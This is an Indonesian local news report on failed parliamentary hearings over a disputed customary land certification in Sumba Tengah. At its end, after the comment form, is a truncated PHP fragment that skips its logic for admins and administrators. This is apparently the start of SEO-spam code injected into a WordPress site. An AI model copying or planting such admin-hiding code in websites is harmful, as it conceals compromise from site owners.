Pemerintahan

Kepala BPN Kabupaten Sumba Tengah : Saya Bisa Dipidana Jika Proses Sertifikasi Batal Tanpa Alasan Kuat

×

Kepala BPN Kabupaten Sumba Tengah : Saya Bisa Dipidana Jika Proses Sertifikasi Batal Tanpa Alasan Kuat

Sebarkan artikel ini

WAIBAKUL, MENARASUMBA.COM – Upaya mempertemukan dua kubu dalam kisruh sertifikasi tanah Suku Anapasoka di Desa Manu Wolu, Kecamatan Mamboro, Kabupaten Sumba Tengah gagal mencapai kesepakatan.

Upaya lewat Rapat Dengar Pendapat (RDP) di DPRD Sumba Tengah yang digelar selama dua hari yakni Kamis (22/01/2026) dan Jumat (23/01/2026) pun tanpa hasil.

Ketua DPRD Kabupaten Sumba Tengah, Arpud Umbu Rauta Mangalema, S.Pd (kiri) saat menyampaikan kesimpulan dalam RDP pertama, Kamis (22/01/2026) lalu. ( Foto Menara Sumba )

Pada hari pertama RDP menghadirkan Asisten Bidang Pemerintahan dan Kesejahteraan Rakyat Setda kabupaten Sumba Tengah, Dandim 1613/Sumba Barat, Kepala BPN Kabupaten Sumba Tengah dan staf, Camat Mamboro, dan warga Suku Anapasoka kubu Umbu Tiru bersama kuasa hukum, Indah Prasetyari, SH.

Sementara RDP hari kedua menghadirkan warga Suku Anapasoka kubu Umbu Sina, minus Dandim 1613/Sumba Barat dan warga Suku Anapasoka kubu Umbu Tiru.

Perang argumen dalam dua RDP ini makin mempertegas pendirian kedua kubu yang bertikai soal tanah ulayat itu tidak mungkin bersepakat.

Pada hari pertama RDP, tercatat rekomendasi pihak BPN Kabupaten Sumba Tengah dimana salah satu butir menegaskan jika kubu Umbu Tiru tak mampu memperlihatkan bukti kepemilikan maka proses sertifikasi 117 bidang lahan yang diajukan kubu Umbu Sina tetap dilanjutkan.

Bahkan Kepala BPN Kabupaten Sumba Tengah, Abel Asa Mau, S.SiT, MAP melontarkan pertanyaan mengejutkan.

“Jika proses sertifikasi tanah ini dibatalkan maka saya bisa dipidana,” ucapnya dalam RDP, Kamis (22/01/2026).

Ia beralasan bahwa proses pengukuran dan penerbitan sertifikat tidak serta-merta bisa dibatalkan tanpa dasar yang kuat.

Karena itu, Abel meminta agar pihak Umbu Tiru memberikan bukti yang bisa membatalkan proses sertifikasi 117 bidang lahan tersebut.

“Kasih saya bukti, karena tidak mungkin proses ini dibatalkan begitu saja,” pintanya.

Pernyataan ini ditentang keras pihak Umbu Tiru karena sejak awal sudah mempersoalkan proses pengukuran yang disebut dilakukan secara diam-diam.

Apalagi dalam RDP ini Kepala Desa Manu Wolu tidak hadir, dan hanya diwakili sekretaris desa yang mengaku tidak tahu menahu soal administrasi dalam pengukuran lahan.

Termasuk pula Camat Mamboro yang juga hadir dalam RDP tapi tidak mampu memberi penegasan terkait sahihnya pengukuran lahan ini.

Atas dasar itu pihak DPRD menyimpulkan dan meminta agar salah satu poin rekomendasi BPN yang mencantumkan bahwa proses sertifikasi tetap dilanjutkan jika kubu Umbu Tiru tak bisa menunjukkan bukti dihapus.

“Kami minta pihak BPN mencoret poin itu, dan terus melakukan mediasi untuk mencapai titik temu,” imbau Ketua DPRD Kabupaten Sumba Tengah, Arpud Umbu Rauta Mangalema, S.Pd saat RDP pertama. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>